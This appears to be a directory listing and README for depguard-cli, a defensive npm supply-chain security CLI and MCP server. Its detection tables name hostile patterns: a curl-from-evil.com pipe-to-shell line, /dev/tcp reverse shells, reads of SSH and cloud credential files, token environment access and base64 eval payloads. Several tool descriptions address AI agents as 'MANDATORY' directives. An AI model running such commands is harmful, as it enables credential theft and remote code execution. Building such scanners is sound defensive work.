Skip to main content
Glama

depguard-cli

MCP security server for AI coding agents. 12 tools: static code analysis, pre-install guardian, AI hallucination guard, dead dependency detection, vulnerability audit, supply chain attack detection, smart recommendations, and CycloneDX 1.6 SBOM generation.

Your AI agent verifies every npm install before it happens. Tarball download and source code scanning detects malware patterns, obfuscation, and behavioral mismatches. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.

Why this exists

I work on industrial software where every event has to be logged and recoverable. Customers trust the system because the audit trail makes the system trustworthy.

When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem — install 1,000 packages, hope for the best. depguard is my attempt to bring the same auditability mindset to the JavaScript dependencies we depend on every day: verify before installing, audit what's already there, generate an SBOM your security team can actually use.

Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.

Related MCP server: MCP Shield

Install

npm install -g depguard-cli

Or use directly:

npx depguard-cli audit express

CLI

# Full audit report (optionally pin a version)
depguard-cli audit <package[@version]> [--target-license MIT] [--json]

# Search npm for packages
depguard-cli search <keywords...> [--limit 10] [--json]

# Score a package 0-100
depguard-cli score <package> [--target-license MIT] [--json]

# Get install/write recommendation
depguard-cli should-use <intent...> [--threshold 60] [--json]

# Pre-install guardian (verify + audit + allow/warn/block)
depguard-cli guard <package> [--threshold 60] [--block] [--json]

# Detect unused dependencies
depguard-cli sweep [path] [--include-dev] [--json]

# Deep transitive dependency tree audit
depguard-cli audit-deep <package> [--json]

# AI code review (detect debris left by AI agents)
depguard-cli review [path] [--full] [--json]

# Generate a CycloneDX 1.6 SBOM (Software Bill of Materials)
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]

# Local usage statistics (calls, tokens saved, threats blocked)
depguard-cli stats [--json]

Examples

# Audit express for an Apache-2.0 project
depguard-cli audit express --target-license Apache-2.0

# Audit a specific installed version (not just latest)
depguard-cli audit express@4.17.1

# Find date formatting libraries
depguard-cli search date formatting --limit 5

# Score a package
depguard-cli score lodash --json

# Should I install or write my own?
depguard-cli should-use "http client" --threshold 70

# Check before installing — blocks nonexistent/typosquat packages
depguard-cli guard expresss
# [WARN] expresss
#   Possible typosquat of: express

# Find unused dependencies in your project
depguard-cli sweep . --include-dev

API

import { audit, search, score, scoreFromReport, shouldUse, guard, verify, sweep, auditBulk, auditProject, generateSBOM } from 'depguard-cli'

// Full audit report (now includes static code analysis)
const report = await audit('express', 'MIT')
console.log(report.vulnerabilities.total)      // 0
console.log(report.securityFindings)           // [] (clean) or SecurityFinding[]
console.log(report.codeAnalysis.filesAnalyzed) // 42
console.log(report.licenseCompatibility.compatible) // true
console.log(report.weeklyDownloads)            // 35000000

// Search packages
const results = await search('date formatting', { limit: 5 })
results.forEach(r => console.log(`${r.score}/100 ${r.name}`))

// Score 0-100
const result = await score('lodash', { targetLicense: 'MIT' })
console.log(result.total)       // 82
console.log(result.breakdown)   // { security: 100, maintenance: 75, ... }

// Install or write from scratch?
const rec = await shouldUse('http client')
console.log(rec.action)     // "install"
console.log(rec.package)    // "axios"
console.log(rec.reasoning)  // "axios scores 85/100 (≥60) — safe to install"

// Pre-install guardian — verify + audit + decision
const check = await guard('expresss')
console.log(check.exists)           // true (but suspicious)
console.log(check.possibleTyposquat) // true
console.log(check.similarTo)        // ["express"]
console.log(check.decision)         // "warn"

// AI hallucination guard — does this package even exist?
const exists = await verify('ai-hallucinated-pkg')
console.log(exists.exists)          // false

// Dead dependency detection
const sweepResult = await sweep('.', { includeDevDependencies: true })
console.log(sweepResult.unused)     // [{ name: 'lodash', status: 'unused', ... }]
console.log(sweepResult.estimatedSavingsKB) // 1400

Scoring

Each package is scored 0-100 across five dimensions:

Dimension

Weight

What it measures

Security

30%

Known CVEs, advisories, and static code analysis findings

Maintenance

25%

Last publish date, version count, deprecation

Popularity

20%

Weekly downloads (log scale)

License

15%

Compatibility with your project license

Dependencies

10%

Dependency count, install scripts

Weights are configurable via the weights option in score().

Decision thresholds (shouldUse)

Score

Action

>= 60

install — safe to use

40-59

caution — review before using

< 40

write-from-scratch — better to write your own

The threshold is configurable via --threshold (CLI) or threshold option (API).

Token Savings

Every MCP tool response includes a tokenSavings field that shows how many LLM tokens you save compared to manual research (web searches, page fetches, reasoning).

"tokenSavings": {
  "responseTokens": 47,
  "manualEstimate": 11100,
  "saved": 11053,
  "percentSaved": 100,
  "manualSteps": [
    "WebSearch: \"{package} npm quality maintenance\" (~800 tokens)",
    "WebFetch: npm registry page (~3000 tokens)",
    "WebFetch: GitHub repo for activity/stars (~3000 tokens)",
    "WebSearch: \"{package} vulnerabilities\" (~800 tokens)",
    "WebFetch: advisories page (~3000 tokens)",
    "Reasoning: compute weighted score (~500 tokens)"
  ]
}

This is automatically included in every response — no configuration needed. It helps teams quantify the cost savings of using depguard in their AI workflows.

MCP Server

depguard includes a built-in MCP (Model Context Protocol) server for AI agent integration. It works with any MCP-compatible client.

Compatible AI clients

Client

Configuration

Claude Code

.mcp.json or ~/.claude/settings.json

Claude Desktop

claude_desktop_config.json

Cursor

MCP settings in IDE

Windsurf

MCP settings in IDE

Continue.dev

config.json MCP section

Cline / Roo Code

MCP settings

Setup

Using npx (no install needed):

{
  "mcpServers": {
    "depguard": {
      "command": "npx",
      "args": ["-y", "depguard-cli", "--mcp"]
    }
  }
}

Or if installed globally:

{
  "mcpServers": {
    "depguard": {
      "command": "depguard-cli",
      "args": ["--mcp"]
    }
  }
}

Or via Claude Code CLI:

claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp

Available tools

Tool

Description

depguard_audit

Full security audit with static code analysis, vulnerabilities, and install script scanning. Accepts optional version to audit a specific installed version.

depguard_audit_bulk

Audit multiple packages in a single call

depguard_audit_project

Audit all dependencies from a package.json file path. Scans transitive deps via lock file and audits the packageManager field.

depguard_search

Search npm for packages by keywords

depguard_score

Score a package 0-100

depguard_should_use

Recommend install, use native Node.js, or write from scratch

depguard_guard

Pre-install guardian: verify, audit, allow/warn/block decision

depguard_verify

AI hallucination guard: check if a package exists + typosquatting

depguard_sweep

Dead dependency detection: find unused packages in a project

depguard_audit_deep

Deep transitive dependency tree audit with vulnerability aggregation

depguard_review

AI Code Review: detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files)

depguard_sbom

Generate a CycloneDX 1.6 SBOM (with optional VEX vulnerability data) for compliance, supply-chain, and EU CRA / US EO 14028 use cases

Which tool should I use?

Situation

Tool

"I need X functionality"

depguard_should_use

"Install package Y"

depguard_guard

"Audit my project"

depguard_audit_project

"Compare A vs B vs C"

depguard_audit_bulk

"Deep dive on package Y"

depguard_audit

"Find a library for X"

depguard_search

"Clean up unused deps"

depguard_sweep

"Review my code"

depguard_review

"Generate an SBOM" / "I need a CycloneDX file"

depguard_sbom

Bulk audit

Audit all project dependencies in a single call. Accepts a list of package names or a dependencies object directly from package.json:

// Via API
import { auditBulk } from 'depguard-cli'

const report = await auditBulk(['react', 'express', 'lodash'], { targetLicense: 'MIT' })
console.log(report.total)       // 3
console.log(report.vulnerable)  // 2
console.log(report.summary)     // { critical: 0, high: 2, moderate: 5, low: 3 }

Via MCP, the AI agent can pass the dependencies object from package.json directly — no need to extract package names manually.

Project audit

Audit all dependencies from a package.json file in one call. When a lock file is present (package-lock.json, pnpm-lock.yaml, yarn.lock, or bun.lock), depguard also scans all transitive dependencies for known vulnerabilities and audits the packageManager field:

import { auditProject } from 'depguard-cli'

const report = await auditProject('./package.json', {
  includeDevDependencies: true,  // also audit devDependencies
})

// Direct dependency audit results
console.log(report.summary)            // { critical: 0, high: 2, moderate: 5, low: 3 }

// Transitive dependency vulnerabilities (from lock file)
console.log(report.transitiveSummary)  // { totalDeps: 800, vulnerable: 12, critical: 1, ... }

// Package manager audit (e.g. yarn@4.5.3)
console.log(report.packageManagerAudit?.vulnerabilities)

Via MCP, the agent just passes the file path — depguard reads it, detects the project license, scans the lock file for transitive deps, and audits everything.

SBOM generation (CycloneDX 1.6)

Generate a Software Bill of Materials in CycloneDX 1.6 format for compliance with the EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and any enterprise procurement process that requires SBOMs from suppliers. The output is consumed unchanged by downstream tools like Dependency-Track, Trivy, Grype, and OWASP DT.

# Write SBOM to disk (109 components for the depguard repo itself)
depguard-cli sbom ./package.json -o sbom.cdx.json

# Include VEX vulnerability data (CVEs/GHSAs inline, with CVSS + patched versions)
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json
import { generateSBOM } from 'depguard-cli'

const bom = await generateSBOM('./package.json', {
  includeVex: true,
  includeDevDependencies: true,
})
console.log(bom.specVersion)         // '1.6'
console.log(bom.components?.length)  // 109
console.log(bom.vulnerabilities)     // [{ id: 'GHSA-...', ratings: [...], affects: [...] }, ...]

The CycloneDX serialization is implemented natively in TypeScript against the public CycloneDX 1.6 JSON Schema — depguard does not depend on @cyclonedx/cyclonedx-library or any other runtime package, preserving the zero-runtime-dependencies guarantee. Output validity is verified against the official CycloneDX validator.

PURLs follow the Package URL spec (pkg:npm/lodash@4.17.21, pkg:npm/%40types/node@20.0.0). Integrity hashes (SHA-512) are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema.

Pre-Install Guardian

The guard command is the recommended entry point for AI agents. Before installing any package, it runs three checks in sequence:

  1. Existence check — Does the package exist on npm? (blocks AI hallucinations)

  2. Typosquatting detection — Is the name suspiciously similar to a popular package? (Levenshtein distance against 100+ top packages)

  3. Security audit — Score, vulnerabilities, deprecated status, install script analysis

# Safe package
depguard-cli guard express
# [ALLOW] express
#   Score: 82/100 — safe to install

# Typosquat attempt
depguard-cli guard expresss
# [WARN] expresss
#   Possible typosquat of: express
#   Score: 45/100 is below threshold 60

# Nonexistent package (AI hallucination)
depguard-cli guard ai-made-up-package
# [BLOCK] ai-made-up-package
#   Package does NOT exist on npm!

Use --block to escalate all warnings to blocks (useful in CI):

depguard-cli guard sketchy-lib --block

AI Hallucination Guard

The verify tool is a lightweight version of guard — it only checks if a package exists and whether the name is a possible typosquat. No audit, no scoring. Fast enough to run on every npm install suggestion from an AI agent.

import { verify } from 'depguard-cli'

const result = await verify('expresss')
console.log(result.exists)           // true
console.log(result.possibleTyposquat) // true
console.log(result.similarTo)        // ["express"]

Dead Dependency Detection

The sweep command scans your project to find npm packages listed in package.json but not actually imported or used in source code.

depguard-cli sweep . --include-dev

# Scanned 42 files, 15 dependencies
#
# Unused (3):
#   - lodash@^4.17.21 (~1400 KB)
#   - moment@^2.29.4 (~800 KB)
#   - request@^2.88.2 (~250 KB)
#
# Maybe unused (1):
#   ? some-dev-tool@^1.0.0
#
# Estimated savings: ~2450 KB

Smart detection:

  • Scans all .js, .ts, .mjs, .cjs, .jsx, .tsx files for import/require/export from

  • Recognizes config-only dependencies (eslint, prettier, typescript, jest, vitest, babel, tailwind, etc.)

  • Detects binaries used in npm scripts

  • Handles @types/* packages paired with runtime dependencies

  • Marks untraced devDependencies as "maybe-unused" instead of "unused"

  • Estimates disk size savings

import { sweep } from 'depguard-cli'

const result = await sweep('.', { includeDevDependencies: true })
console.log(result.unused)            // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
console.log(result.estimatedSavingsKB) // 2450

Smart Advisor

The should_use tool now checks for native Node.js alternatives before recommending npm packages:

"I need an http client"     → Use native fetch() (Node 18+). No package needed.
"I need uuid generation"    → Use crypto.randomUUID() (Node 19+). No package needed.
"I need deep cloning"       → Use structuredClone() (Node 17+). No package needed.
"I need a date formatter"   → Install date-fns (score 85). No native alternative.

Covers 20+ common intents including fetch, uuid, hashing, URL parsing, CLI args, testing, SQLite, glob, streams, compression, and more. Each recommendation includes example code and the minimum Node.js version required.

Fix Suggestions

When vulnerabilities are found, each audit report includes actionable fix suggestions:

"fixSuggestions": [
  {
    "vulnerability": "Prototype Pollution",
    "severity": "high",
    "currentVersion": "4.17.19",
    "fixVersion": "4.17.21",
    "action": "upgrade"
  }
]

If no patch exists, action is "no-fix-available".

GitHub Token

For higher GitHub Advisory API rate limits (60/hour → 5,000/hour), set a GitHub token:

export GITHUB_TOKEN=ghp_your_token_here

No special scopes needed — the token only identifies you for rate limiting. If already set (e.g. by gh CLI or GitHub Actions), depguard uses it automatically.

Install Script Analysis

depguard statically analyzes install scripts (preinstall, install, postinstall) for suspicious patterns commonly used in supply chain attacks:

Pattern

Severity

Example

Remote code execution

Critical

curl evil.com/payload.sh | sh

Reverse shells

Critical

/dev/tcp/ connections

Credential file access

Critical

Reading ~/.ssh/id_rsa, ~/.npmrc, ~/.aws

Sensitive env vars

Critical

Accessing $NPM_TOKEN, $AWS_SECRET

Shell typosquatting

Critical

/bin/ssh instead of /bin/sh

Obfuscated code

High

eval(Buffer.from(..., "base64"))

Process spawning

High

child_process, exec(), spawn()

Environment access

High

process.env usage

External network calls

Moderate

HTTP requests to non-standard hosts

Each audit report includes a scriptAnalysis field with suspicious (boolean) and risks (array of detected patterns with severity and description). No scripts are executed — analysis is purely static pattern matching.

Static Code Analysis

New in v1.6.0. depguard downloads the package tarball from npm, extracts JS files, and scans for 18+ malware patterns across 6 threat categories:

Category

Severity

What it detects

malware

Critical

Eval of decoded payloads, reverse shells (net.connect), crypto mining (stratum+tcp)

data-exfiltration

Critical/High

JSON.stringify(process.env), Object.keys(process.env), dynamic fetch URLs, credential file reads

code-execution

High

eval(), new Function(), child_process.exec/spawn, shell spawning

obfuscation

High/Medium

Long hex/unicode strings, base64 payloads, minified source in non-.min.js files

unexpected-behavior

High/Medium

Network calls in a "formatter" package, filesystem access in a "date utility"

supply-chain

Critical

Typosquatting patterns in install scripts

Every finding includes a rich SecurityFinding object:

interface SecurityFinding {
  severity: 'critical' | 'high' | 'medium' | 'low' | 'info'
  category: 'malware' | 'supply-chain' | 'vulnerability' | 'obfuscation' | 'data-exfiltration' | 'unexpected-behavior' | 'code-execution'
  title: string           // "Serialization of entire environment"
  explanation: string     // Rich, human-readable explanation of WHY it's dangerous
  evidence: string        // The exact code that triggered the detection
  file: string            // Where it was found (e.g. "src/index.js")
  recommendation: string  // What to do about it
}

Behavioral Mismatch Detection

depguard compares the package description and keywords against detected code behavior. A "string formatter" that makes network calls or a "date utility" that reads the filesystem is flagged as unexpected-behavior with a detailed explanation.

Impact on Scoring

Critical code analysis findings cap the security score at 20/100. High findings cap at 45/100. This ensures that packages with suspicious source code cannot achieve high scores regardless of popularity or maintenance status.

Data sources

depguard combines two advisory databases for maximum coverage:

Source

What it catches

npm Registry

Advisories from npm audit

GitHub Advisory Database

GHSA advisories, often not in npm

Results are deduplicated, filtered by the current package version (only vulnerabilities that actually affect the installed version are reported), and each advisory includes a source field (npm or github).

Caching

Results are cached in memory (5 min) and on disk at ~/.depguard/cache/ (24h). This means:

  • Repeated audits of the same package are instant (no network requests)

  • Cache survives process restarts

  • Expired entries are cleaned up automatically on startup

License compatibility

depguard checks license compatibility using a permissive-to-copyleft hierarchy:

Public Domain (Unlicense, CC0) → Permissive (MIT, ISC, BSD, Apache-2.0)
  → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL)

A dependency is compatible if its license is equally or more permissive than your project's target license.

Design principles

  • Zero runtime dependencies — only Node.js built-in APIs (fetch, crypto, readline)

  • Never throws on network errors — returns degraded results with warnings

  • TypeScript strict mode — full type safety

  • 100% offline tests — all tests use mock fetch

  • Cache-friendly — 5-minute in-memory TTL to avoid rate limits

Development

npm run build    # compile TypeScript
npm run lint     # ESLint (strict)
npm test         # 270 tests (all offline)
npm run check    # build + lint + test + audit

About the author

depguard is built and maintained by Jorge Morais — Tech Lead at Balanças Marques in Braga, Portugal, working on edge-to-cloud systems for industrial operations. More on what I work on at jorgemopanc.com and LinkedIn.

If depguard saves you from installing a malicious package, catches a missed CVE, or unblocks a compliance audit, and you'd like to support the project, GitHub Sponsors is the cleanest way. No expectations — the tool is free and will stay so. Issues, PRs, and bug reports are equally welcome.

License

Apache-2.0 — see LICENSE for details.

Available Tools

15 tools
depguard_auditA

Deep security audit of a single npm package. Downloads the tarball, scans source code for malware, checks vulnerabilities (npm + GitHub Advisory), analyzes install scripts, verifies license. Use when you need full details on a specific package. Pass a version to audit a specific installed version instead of latest.

Inputs: name (required), version, targetLicense.

depguard_audit_bulkA

Audit multiple packages in one call. Accepts an array of names or a dependencies object from package.json. Use depguard_audit_project instead if you have a package.json path.

Inputs: packages (required), targetLicense.

depguard_audit_deepA

Audit the full transitive dependency tree of a package. Crawls all nested dependencies recursively and aggregates vulnerabilities across the entire graph. Use when you need to know the total attack surface, not just direct deps.

Inputs: name (required), maxDepth, targetLicense.

depguard_audit_projectA

Audit ALL dependencies in a project at once. Scans direct deps (full audit), transitive deps from lock file (vulnerability check), and the packageManager field. Pass the path to package.json and get a consolidated security report. Use this when the user asks to review project security or after cloning a new repo.

Inputs: path (required), targetLicense, includeDevDependencies.

depguard_audit_workspaceA

MANDATORY: call this AFTER cloning a repository and BEFORE opening it in any IDE (VS Code, Cursor, JetBrains, etc.) or running direnv allow. Enumerates every file in the repo that auto-executes when the workspace opens: .vscode/tasks.json runOn:folderOpen, .vscode/settings.json shell overrides, .devcontainer lifecycle commands, .envrc, JetBrains run configurations, Makefile default targets, .gitattributes custom filter drivers, and committed git hooks. Classifies each as INFO / WARN / HIGH using FP-averse heuristics (benign npm run watch stays INFO; only curl|sh, base64 decode chains, credential paths, and obfuscation escalate). This is the technical defense against fake-interview / take-home-test malware campaigns where a coding-test repo compromises the developer's session before the IDE finishes loading.

Inputs: path (required).

depguard_exposureA

Answer "was this machine hit?" after an npm supply-chain incident (worm, hijacked maintainer, malicious release). Scans every lock file under the given paths (npm, pnpm, yarn classic/berry, bun; nested copies included), globally installed packages, and the npm download cache, and matches each exact installed version against ~35k known-malicious npm packages. Reports where each malicious version was found, whether it is installed on disk, whether it runs install scripts, when its tarball was downloaded, and the remediation steps (credential rotation, cleanup). Use this when the user asks whether they are affected by an attack, or as a periodic check. Only exact version matches are reported; clean versions of previously compromised packages are never flagged.

Inputs: paths, maxDepth, includeCache, includeGlobal.

depguard_guardA

MANDATORY: call this BEFORE running npm install, yarn add, or pnpm add — whether the user asked for the package or you decided to install it yourself. Verifies the package exists (blocks hallucinated names), checks for typosquatting, runs security audit, and returns allow/warn/block. If the result is "block" or "warn", do NOT install the package without informing the user.

Inputs: name (required), threshold, targetLicense.

depguard_remediateA

Build a remediation plan for a project with known vulnerabilities. Reads package.json + lock file, runs the same audit as depguard_audit_project, then groups every vulnerable transitive under the direct dep that pulls it in. Output is sorted by severity weight so the first remediation is the highest-impact bump. Use this when the user is staring at "100 vulnerabilities found" from npm install and needs to know which 5 direct deps to upgrade. Read-only: never modifies package.json, lockfile, or runs npm.

Inputs: path (required), targetLicense, includeDevDependencies.

depguard_reviewA

Call this AFTER making significant code changes or before the user commits. Scans source files for issues you may have introduced: console.logs left in production code, empty catch blocks, broken imports, TODOs without issue references, empty test files, orphan files. Fix the findings before reporting your work as done.

Inputs: path (required), mode.

depguard_sbomA

Generate a CycloneDX 1.6 Software Bill of Materials (SBOM) for an npm project. Reads package.json + lock file to enumerate direct + transitive components with PURLs and integrity hashes. Set includeVex=true to embed vulnerability data (VEX) from the audit pipeline. Use this when the user asks for an SBOM, a compliance report, or to comply with EU CRA / US EO 14028 requirements.

Inputs: path (required), includeVex, targetLicense, includeDevDependencies.

depguard_scoreA

Quick 0-100 quality score for a package. Faster than depguard_audit when you only need the score. Critical vulns cap at 30, high at 50.

Inputs: name (required), targetLicense.

depguard_should_useA

When you need functionality (e.g. "RTSP streaming", "date formatting"), call this BEFORE choosing a package yourself. Checks if Node.js has a native solution first, then evaluates npm candidates and recommends install, caution, or write-from-scratch. Always prefer this over picking a package from your training data — it gives you up-to-date security and quality data.

Inputs: intent (required), threshold, targetLicense.

depguard_sweepA

Find unused npm packages in the project. Scans source files for imports and cross-references with package.json. Also detects phantom deps (installed but not declared). Call this after a coding session where you installed multiple packages — some may no longer be needed.

Inputs: path (required), includeDevDependencies.

depguard_verifyA

Quick check if a package name exists on npm + typosquatting detection. Faster than depguard_guard when you only need existence verification without a full audit.

Inputs: name (required).

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4.2/5.0

    Scored across 15 tools

    Disambiguation4/5

    The crowded audit_* family (audit, audit_bulk, audit_project, audit_deep, audit_workspace) could trip up an agent, but descriptions explicitly scope each one (single package vs. project vs. transitive tree vs. workspace files vs. bulk array). The verify/score/guard trio is also well-graded by depth. Minor residual overlap between audit_bulk and audit_project keeps this from a 5.

    Naming Consistency4/5

    All tools share a consistent depguard_ prefix and snake_case style, which reads predictably. The only deviation is mixing verbs (audit, verify, guard) with nouns (sbom, exposure, sweep, score), but the convention is uniform enough to be unsurprising.

    Tool Count5/5

    15 tools sit squarely in the well-scoped 3-15 band. Each tool covers a distinct capability (audit, SBOM, exposure scan, remediation, recommendation, search, verify, sweep, review) so none feel redundant at the count level.

    Completeness4/5

    The surface covers the full dependency-security lifecycle: discovery (search/should_use), pre-install gating (guard/verify), auditing (audit/project/deep/bulk), incident response (exposure), reporting (sbom), cleanup (sweep/review), and remediation planning. The only gap is that remediation is read-only (no apply/fix operation) and there is no standalone license-compliance tool, but these are reasonable scoping choices.

    Maintenance

    ActivityActive
    ResponsivenessLimited data

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      C
      quality
      D
      maintenance
      Security scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.
      2
      1
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Security scanner and runtime proxy for MCP servers. Catches tool poisoning, prompt injection, and rug-pull attacks (silent tool description changes) before they reach your AI agent. Includes a static scanner and a runtime stdio proxy.
      92 npm
      MIT